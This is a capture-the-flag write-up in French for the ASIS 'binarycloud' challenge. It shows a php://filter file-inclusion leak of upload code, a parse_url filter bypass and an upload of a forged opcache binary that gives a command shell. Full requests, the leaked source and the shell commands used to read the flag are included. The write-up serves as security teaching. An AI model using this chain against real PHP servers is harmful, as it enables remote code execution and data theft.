Description
Now you can upload any types of files, temporarily.
Resolution
Nous commençons par récupérer le fichier robots.txt
1 2 3 4 5 | User-Agent: * Disallow: / Disallow: /debug.php Disallow: /cache Disallow: /uploads |
Le fichier debug.php affiche un phpinfo qui nous indique que la version de php est la 7.0.4-7ubuntu2, qu’opcache est activé et que les fichiers sont mis en cache dans le répertoire /home/binarycloud/www/cache.
Le lien vers le formulaire d’upload est https://binarycloud.asis-ctf.ir/?page=upload ce qui laisse présager une lfi.
Effectivement, une requête vers https://binarycloud.asis-ctf.ir/index.php?page=php://filter/convert.base64-encode/resource=upload nous fournit le code d’upload.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | <?php function ew( $haystack , $needle ) { return $needle === "" || (( $temp = strlen ( $haystack ) - strlen ( $needle )) >= 0 && strpos ( $haystack , $needle , $temp ) !== false); } function filter_directory(){ $data = parse_url ( $_SERVER [ 'REQUEST_URI' ]); $filter = [ "cache" , "binarycloud" ]; foreach ( $filter as $f ){ if (preg_match( "/" . $f . "/i" , $data [ 'query' ])){ die ( "Attack Detected" ); } } } function error( $msg ){ die ( "<script>alert('$msg');history.go(-1);</script>" ); } filter_directory(); if ( $_SERVER [ 'QUERY_STRING' ] && $_FILES [ 'file' ][ 'name' ]){ if (! file_exists ( $_SERVER [ 'QUERY_STRING' ])) error( "error3" ); $name = preg_replace( "/[^a-zA-Z0-9\.]/" , "" , basename ( $_FILES [ 'file' ][ 'name' ])); if (ew( $name , ".php" )) error( "error" ); $filename = $_SERVER [ 'QUERY_STRING' ] . "/" . $name ; if ( file_exists ( $filename )) error( "exists" ); if (move_uploaded_file( $_FILES [ 'file' ][ 'tmp_name' ], $filename )){ die ( "uploaded at <a href=$filename>$filename</a><hr><a href='javascript:history.go(-1);'>Back</a>" ); } else { error( "error" ); } } ?> <hr> <form action= "upload.php?uploads" enctype= "multipart/form-data" method= "post" > <p>Please specify the file to upload!</p> <input class = "form-control" type= "file" name= "file" ><br> <input class = "form-control" type= "submit" value= "Upload!" > </form> |
Après lecture du code, on remarque que la fonction filter_directory() utilise parse_url($_SERVER[‘REQUEST_URI’]) alors que move_uploaded_file() utilise $_SERVER[‘QUERY_STRING’].
Cela nous laisse supposer qu’il y a un moyen de contourner filter_directory() en utilisant un bug dans parse_url.
Après de multiples essais, nous trouvons une méthode de contournement.
1 2 3 4 5 6 | php7.0 test .php '//upload.php?/home/binarycloud/www/cache/' Array ( [host] => upload.php? [path] => /home/binarycloud/www/cache/ ) |
Il nous faut à présent générer le binaire home.php.bin, pour cela nous installons un serveur identique à celui du challenge (ubuntu, nginx, php-fpm) et nous activons opcache.
Une fois notre binaire généré, nous l’envoyons et récupérons notre shellcode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | POST //upload.php?/home/binarycloud/www/cache/81d80d78c6ef96b89afaadc7ffc5d7ea/home/binarycloud/www/ HTTP/1.1 Host: binarycloud.asis-ctf.ir Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Content-Type: multipart/form-data; boundary=---------------------------21008119083100235961415588990 Content-Length: 1220 -----------------------------21008119083100235961415588990 Content-Disposition: form-data; name="file"; filename="home.php.bin" Content-Type: application/octet-stream OPCACHE 81d80d78c6ef96b89afaadc7ffc5d7ea .................. -----------------------------21008119083100235961415588990-- |
Quelques requêtes plus loin
https://binarycloud.asis-ctf.ir/home.php?ghfjkcsrf=ls-l /
https://binarycloud.asis-ctf.ir/home.php?ghfjkcsrf=cat /WH4T_1S_7H3_FL4G
Le flag est : ASIS{5e00f204374f9ce481acc97294eda1f0}